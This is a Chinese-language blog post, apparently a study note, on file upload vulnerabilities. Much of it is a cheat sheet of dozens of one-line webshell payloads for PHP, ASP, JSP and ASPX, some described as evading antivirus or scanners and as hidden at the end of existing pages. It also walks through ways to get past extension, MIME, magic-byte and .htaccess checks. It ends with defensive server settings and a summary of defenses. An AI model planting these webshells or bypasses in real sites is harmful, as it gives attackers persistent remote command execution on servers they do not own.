文件上传

什么是文件上传漏洞?

由于程序员没有对文件上传后做审查导致用户可以按照自己的想法上传可执行文件,这个就是文件上传漏洞。

什么是Webshell

  1. 就是一种以asp[^asp],php,jsp,cgi等网页文件形式存在的一种命令执行环境
  2. 攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。 WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录

什么是一句话木马

可以理解为连接菜刀,蚁剑的钥匙

下面是常用的一句话木马

1
2
3
<?php
eval($_POST(cmd));
?>

这个cmd就是我们需要的钥匙

常用的一句话木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
##PHP:
<?php @eval($_POST['r00ts']);?>
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
<?php usort(...$_GET);?> php环境>=5.6才能用
<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>

<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话

<?php (])?> 上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!

<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?>
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!

<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%>
无防下载表,有防下载表可尝试插入以下语句突破的一句话
<%eval(request(“1″)):response.end%> 备份专用
1
2
3
4
##JSP:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
提交客户端
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>
1
2
3
4
5
6
7
8
##ASP
<%eval(Request.Item["r00ts"],”unsafe”);%>

<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%>

<%execute(request(“1″))%>

<scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句话
1
2
3
4
5
6
7
##aspx
<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script>

<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>

<%eval request(chr(35))%> 不用双引号的一句话。

文件上传漏洞的原因

  1. 文件扩展名或者后缀名没有做好严格的限制
  2. 文件上传的表述方法没有做好检查
  3. 没有对文件设置不可执行权限(特别是shebang[1]
  4. 对于web server对于上传文件或者指定目录的行为没有做限制

原理

  1. 在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的文件内容提取出来并保存的。通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ( 为了防止重复 ),并且加上原始文件的扩展名来保存到服务器上

  2. 文件上传后导致的常见安全问题一般有:

    • 上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代
      码执行;

    • 上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其
      他通过类似方式控制策略文件的情况类似);

    • 上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行:

    • 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执
      行,被用于钓鱼和欺诈。

    除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传-一个合法的文本文件, 其内容包含了PHP脚本,再通过“本地文件包含漏洞(Local File Include)”执行此脚本;等等。此类问题不在此细述。

文件上传漏洞的攻击和防御方法

前端限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<li id="show_code">
<h3>代码</h3>
<pre>
<code class="line-numbers language-javascript">function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf(".")); //substring(index) 开始截取的下标
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</code>
</pre>
</li>

原理

通过调用js在前端检查是否是允许上传的文件,并不会推送到服务器

绕过方法

这种限制很简单,通过浏览器F12很简单的修改文件后缀名就可以完成绕过检查,或者是讲木马修改后缀名后上传,通过改包工具修改上传。如果是JS脚本检测,在本地浏览器客户端禁用JS即可。可使用火狐浏览器的NoScript插件、IE中禁用掉JS等方式实现绕过。

操作方法

准备好一句话木马

1
2
3
<?php 
eval($_POST['cmd']);
?>

并且修改后缀名为jpg,上传操作,通过burpsuit抓包改包,使其后缀名修改回php。

注意这个先后关系,前端检测完了发现可以通过后会将数据发送到服务器,我们使用bs抓包,抓到的是前端检查过后的数据

检查扩展名

黑名单策略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//黑名单策略
<li id="show_code">
<h3>代码</h3>
<pre>
<code class="line-numbers language-php">$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
</code>
</pre>
</li>

白名单策略

文件扩展名不在白名单中就是不合法的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<li id="show_code">
<h3>代码</h3>
<pre>
<code class="line-numbers language-php">$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
</code>
</pre>
</li>

原理

当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑白名单的限制,则不予上传,否则上传成功。

绕过方法

在一些Web server中,存在解析漏洞:

  1. 老版本的IIS6中的目录解析漏洞,如果网站目录中有一个 /.asp/目录,那么此目录下面的一切内容都会被当作asp脚本来解析
  2. 老版本的IIS6中的分号漏洞:IIS在解析文件名的时候可能将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg
  3. 旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格] 这样的文件名存储后会被windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作php代码来执行
  4. nginx(0.5.x, 0.6.x, 0.7 <= 0.7.65, 0.8 <= 0.8.37)空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行(fastcgi会把这个文件当php看,不受空字节影响,但是检查文件后缀的那个功能会把空字节后面的东西抛弃,所以识别为jpg)
  5. apache1.x,2.x的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的

检查Content-Type

原理

HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型,不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改。

绕过方法

可以使用bs抓包,然后更改文件格式,也就是header

文件头检查

给上传脚本加上相应的幻数头字节就可以,php引擎会将 <?之前的内容当作html文本,不解释而跳过之,后面的代码仍然能够得到执行比如下面:
(一般不限制图片文件格式的时候使用GIF的头比较方便,因为全都是文本可打印字符。)

限制web server

原理

导致文件上传漏洞的根本原因在于服务把用户上传的本应是数据的内容当作了代码,一般而言:用户上传的内容都会被存储到特定的一个文件夹下,比如我们很多人习惯于放在 ./upload/ 下面要防止数据被当作代码执行,我们可以限制web server对于特定文件夹的行为。

在默认情况下,对与 .php文件Apache会当作代码来执行,对于 html,css,js文件,则会直接由HTTP Response交给客户端程序对于一些资源文件,比如txt,doc,rar等等,则也会以文件下载的方式传送的客户端。我们希望用户上传的东西仅仅当作资源和数据而不能当作代码。因此Apache使用服务器程序的接口来进行限制利用 .htaccess 文件机制来对web server行为进行限制。

几种处理方式

指定特定扩展名的文件的处理方式

原理:

原理是指定Response的Content-Type可以加上如下几行

1
AddType text/plain .pl .py .php

这种情况下会将指定的文件转变为文本文件

完全禁止特定扩展名的文件被访问
1
2
Options -ExecCGI
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi识别

注意上面的减号用于禁用cgi

强制web服务器对于特定文件类型的处理

这个方法是将特定文件按照我们指定的方式处理

与第一条不同的是, 下面的方法直接强行让apache将文件识别为你指定的类型,而第一种是让浏览器符合上面正则的全部被认为是纯文本,也可以继续往里面加入其他类型

1
2
3
<FilesMatch "\.(php|pl|py|jsp|asp|htm|shtml|sh|cgi)$">
ForceType text/plain
</FilesMatch>
只允许访问特定的文件类型(白名单)
1
2
3
4
5
<Files ^(*.jpeg|*.jpg|*.png|*.gif)>
order deny,allow
deny from all
</Files>

绕过方法

可以通过 move_uploaded_file 函数把自己写的.htaccess 文件上传,覆盖掉服务器上的文件,来定义文件类型和执行权限如果做到了这一点,将获得相当大的权限。

什么是htaccess

  • .htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
  • .htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。 .htaccess的用途范围主要针对当前目录。

apache .htaccess文件详解和配置技巧总结 - 恩恩先生 - 博客园 (cnblogs.com)

文件系统00截断

原理

在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束。**利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00、%00上传截断漏洞。

绕过方法

通过抓包截断将【evil.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【evil.php.jpg】的内容写入到【evil.php】中,从而达到攻击的目的

windows NTFS文件系统特性绕过

NTFS交换数据流是NTFS[^NTFS ]磁盘格式的新特性

遇到了添加

二次渲染绕过

防御总结

  1. 黑名单

  2. 白名单

  3. 服务器隔离

    放到一个专门放置静态资源的服务器

  4. 不回显文件路径

  5. 压缩(二次渲染)

  6. 读取文件信息

  7. 限制文件大小

其他

  1. 如果都被防了,我们可以尝试上传脏文件

    比如1G等大文件

  2. 查找webshell

    • 图片上传的路径
    • 响应体中找
    • 找别人的文件

靶场刷题记录

[^asp]:ASP 文件可包含文本、HTML 标签和脚本。ASP 文件中的脚本可在服务器上执行。总结来说就是一个动态页面

  1. 就是符号#!这个一般存在于shell脚本的第一行
    [^NTFS ]: [FAT32、NTFS和exFAT的区别是什么?该如何选择?_exfat和ntfs的区别-CSDN博客](https://blog.csdn.net/qq_43003203/article/details/108463388#:~:text=1、FAT32格式: Windows平台的传统文件格式,Windows,95第二版首次引入,取代FAT16 (支持文件最大容量2GB),兼容性很好,但缺点是对文件大小有限制,不支持超过4GB的文件。 所以,对于很多大型游戏、镜像文件、压缩包、视频,它是没有办法的。)

文件上传
https://tsy244.github.io/2023/11/19/web/文件上传/
Author
August Rosenberg
Posted on
November 19, 2023
Licensed under